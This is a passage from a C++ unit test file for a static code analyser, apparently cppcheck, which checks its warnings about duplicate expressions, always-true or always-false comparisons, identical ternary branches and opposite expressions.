ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 